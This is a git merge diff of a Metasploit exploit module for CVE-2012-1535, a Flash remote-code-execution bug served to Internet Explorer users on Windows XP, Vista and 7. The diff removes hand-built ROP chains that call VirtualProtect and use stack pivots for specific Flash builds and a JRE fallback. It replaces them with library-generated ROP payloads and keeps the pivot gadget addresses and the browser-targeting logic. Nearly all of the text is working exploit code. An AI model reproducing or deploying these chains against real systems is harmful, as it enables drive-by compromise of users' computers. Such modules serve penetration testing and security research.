Merge branch 'cve_2012_1535_flash_rop_update' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-cve_2012_1535_flash_rop_update
commit
e4af1b7338
|
@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::RopDb
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
|
@ -56,49 +57,17 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Targets' =>
|
||||
[
|
||||
# Tested successfully on:
|
||||
# Flash 11.2.202.233
|
||||
# Flash 11.3.300.268
|
||||
# Flash 11.3.300.265
|
||||
# Flash 11.3.300.257
|
||||
[ 'Automatic', {} ],
|
||||
[
|
||||
'IE 6 on Windows XP SP3',
|
||||
{
|
||||
'Rop' => nil
|
||||
}
|
||||
],
|
||||
[
|
||||
'IE 7 on Windows XP SP3',
|
||||
{
|
||||
'Rop' => nil
|
||||
}
|
||||
],
|
||||
[
|
||||
'IE 8 on Windows XP SP3',
|
||||
{
|
||||
'Rop' => true,
|
||||
'ASLR' => false
|
||||
}
|
||||
],
|
||||
[
|
||||
'IE 7 on Windows Vista SP2',
|
||||
{
|
||||
'Rop' => nil
|
||||
}
|
||||
],
|
||||
[
|
||||
'IE 8 on Windows 7 SP1',
|
||||
{
|
||||
'Rop' => true,
|
||||
'ASLR' => true
|
||||
}
|
||||
],
|
||||
[
|
||||
'IE 9 on Windows 7 SP1',
|
||||
{
|
||||
'Rop' => true,
|
||||
'ASLR' => true
|
||||
}
|
||||
]
|
||||
[ 'IE 6 on Windows XP SP3', {'Rop' => nil } ],
|
||||
[ 'IE 7 on Windows XP SP3', {'Rop' => nil } ],
|
||||
[ 'IE 8 on Windows XP SP3', {'Rop' => true, 'ASLR' => false } ],
|
||||
[ 'IE 7 on Windows Vista SP2', {'Rop' => nil }],
|
||||
[ 'IE 8 on Windows 7 SP1', {'Rop' => true, 'ASLR' => true } ],
|
||||
[ 'IE 9 on Windows 7 SP1', {'Rop' => true, 'ASLR' => true } ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Aug 9 2012",
|
||||
|
@ -110,10 +79,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def nop
|
||||
return make_nops(4).unpack("L")[0].to_i
|
||||
end
|
||||
|
||||
def get_payload(t, flash_version=nil)
|
||||
if t['Rop'].nil?
|
||||
p = [
|
||||
|
@ -123,126 +88,50 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
].pack("V*")
|
||||
|
||||
p << payload.encoded
|
||||
else
|
||||
if t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,257/
|
||||
return p
|
||||
end
|
||||
|
||||
if t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,257/
|
||||
print_status("Using Rop Chain For Flash: #{flash_version}")
|
||||
stack_pivot = [
|
||||
pivot = [
|
||||
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
|
||||
0x0c0c0c0c,
|
||||
0x1001d891, # xchg eax, esp # ret (1e0d0008)
|
||||
].pack("V*")
|
||||
|
||||
rop = [
|
||||
0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)
|
||||
0x106e3384, # <- *&VirtualProtect()
|
||||
0x1029de2f, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_257.ocx)
|
||||
0x106add37, # XCHG EAX,ESI # RETN (Flash32_11_3_300_257.ocx)
|
||||
0x1064e000, # POP EBP # RETN (Flash32_11_3_300_257.ocx)
|
||||
0x10175c57, # ptr to 'jmp esp' (from Flash32_11_3_300_257.ocx)
|
||||
0x106a4010, # POP EBX # RETN (Flash32_11_3_300_257.ocx)
|
||||
0x00000201, # <- change size to mark as executable if needed (-> ebx)
|
||||
0x104de800, # POP ECX # RETN (Flash32_11_3_300_257.ocx)
|
||||
0x10955000, # W pointer (lpOldProtect) (-> ecx)
|
||||
0x10649003, # POP EDI # RETN (Flash32_11_3_300_257.ocx)
|
||||
0x10649004, # ROP NOP (-> edi)
|
||||
0x10649987, # POP EDX # RETN (Flash32_11_3_300_257.ocx)
|
||||
0x00000040, # newProtect (0x40) (-> edx)
|
||||
0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)
|
||||
nop, # NOPS (-> eax)
|
||||
0x1060e809, # PUSHAD # RETN (Flash32_11_3_300_257.ocx)
|
||||
].pack("V*")
|
||||
p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.257', 'pivot'=>pivot})
|
||||
|
||||
elsif t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,265/
|
||||
|
||||
print_status("Using Rop Chain For Flash: #{flash_version}")
|
||||
stack_pivot = [
|
||||
pivot = [
|
||||
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
|
||||
0x0c0c0c0c,
|
||||
0x1001d6d3, # xchg eax, esp # ret (1e0d0008)
|
||||
].pack("V*")
|
||||
|
||||
rop = [
|
||||
0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)
|
||||
0x106e338c, # <- *&VirtualProtect()
|
||||
0x1029ea04, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_265.ocx)
|
||||
0x103d60b8, # XCHG EAX,ESI # RETN (Flash32_11_3_300_265.ocx)
|
||||
0x105cc000, # POP EBP # RETN (Flash32_11_3_300_265.ocx)
|
||||
0x1001c5cd, # ptr to 'jmp esp' (from Flash32_11_3_300_265.ocx)
|
||||
0x10398009, # POP EBX # RETN (Flash32_11_3_300_265.ocx)
|
||||
0x00000201, # <- change size to mark as executable if needed (-> ebx)
|
||||
0x10434188, # POP ECX # RETN (Flash32_11_3_300_265.ocx)
|
||||
0x10955000, # W pointer (lpOldProtect) (-> ecx)
|
||||
0x105c1811, # POP EDI # RETN (Flash32_11_3_300_265.ocx)
|
||||
0x105c1812, # ROP NOP (-> edi)
|
||||
0x10650602, # POP EDX # RETN (Flash32_11_3_300_265.ocx)
|
||||
0x00000040, # newProtect (0x40) (-> edx)
|
||||
0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)
|
||||
nop, # NOPS (-> eax)
|
||||
0x1062800f, # PUSHAD # RETN (Flash32_11_3_300_265.ocx)
|
||||
].pack("V*")
|
||||
p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.265', 'pivot'=>pivot})
|
||||
|
||||
elsif t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,268/
|
||||
|
||||
print_status("Using Rop Chain For Flash: #{flash_version}")
|
||||
stack_pivot = [
|
||||
pivot = [
|
||||
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
|
||||
0x0c0c0c0c,
|
||||
0x1001d755, # xchg eax, esp # ret (1e0d0008)
|
||||
].pack("V*")
|
||||
rop = [
|
||||
0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)
|
||||
0x106e438c, # <- *&VirtualProtect()
|
||||
0x10198e00, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_268.ocx)
|
||||
0x106ddf15, # XCHG EAX,ESI # RETN (Flash32_11_3_300_268.ocx)
|
||||
0x1035f000, # POP EBP # RETN (Flash32_11_3_300_268.ocx)
|
||||
0x10175c28, # ptr to 'jmp esp' (from Flash32_11_3_300_268.ocx)
|
||||
0x105e0013, # POP EBX # RETN (Flash32_11_3_300_268.ocx)
|
||||
0x00000201, # <- change size to mark as executable if needed (-> ebx)
|
||||
0x10593801, # POP ECX # RETN (Flash32_11_3_300_268.ocx)
|
||||
0x1083c000, # RW pointer (lpOldProtect) (-> ecx)
|
||||
0x10308b0e, # POP EDI # RETN (Flash32_11_3_300_268.ocx)
|
||||
0x10308b0f, # ROP NOP (-> edi)
|
||||
0x10663a00, # POP EDX # RETN (Flash32_11_3_300_268.ocx)
|
||||
0x00000040, # newProtect (0x40) (-> edx)
|
||||
0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)
|
||||
nop, # NOPS (-> eax)
|
||||
0x1069120b, # PUSHAD # RETN (Flash32_11_3_300_268.ocx)
|
||||
].pack("V*")
|
||||
|
||||
p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.268', 'pivot'=>pivot})
|
||||
|
||||
else
|
||||
|
||||
print_status("Default back to JRE ROP")
|
||||
stack_pivot = [
|
||||
pivot = [
|
||||
0x7c34a028, # POP EDI # POP ESI # RETN (1e0d0000)
|
||||
0x0c0c0c0c,
|
||||
0x7c348b05, # xchg eax, esp # ret (1e0d0008)
|
||||
].pack("V*")
|
||||
|
||||
rop = [
|
||||
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
|
||||
0x00001000, # (dwSize)
|
||||
0x7c347f98, # RETN (ROP NOP)
|
||||
0x7c3415a2, # JMP [EAX]
|
||||
0xffffffff,
|
||||
0x7c376402, # skip 4 bytes
|
||||
0x7c345255, # INC EBX # FPATAN # RETN
|
||||
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
|
||||
0x7c344f87, # POP EDX # RETN
|
||||
0x00000040, # flNewProtect
|
||||
0x7c34d201, # POP ECX # RETN
|
||||
0x7c38b001, # &Writable location
|
||||
0x7c347f97, # POP EAX # RETN
|
||||
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
|
||||
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
|
||||
0x7c345c30, # ptr to 'push esp # ret '
|
||||
].pack("V*")
|
||||
p = generate_rop_payload('java', payload.encoded, {'pivot'=>pivot})
|
||||
end
|
||||
|
||||
end
|
||||
p = stack_pivot
|
||||
p << rop
|
||||
p << payload.encoded
|
||||
end
|
||||
return p
|
||||
end
|
||||
|
||||
|
@ -268,11 +157,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
agent = request.headers['User-Agent']
|
||||
print_status("User-agent: #{agent}")
|
||||
my_target = get_target(agent)
|
||||
|
||||
print_status("Target selected: #{my_target.name}")
|
||||
print_status("Client requesting: #{request.uri}")
|
||||
|
||||
# Avoid the attack if the victim doesn't have the same setup we're targeting
|
||||
|
|
Loading…
Reference in New Issue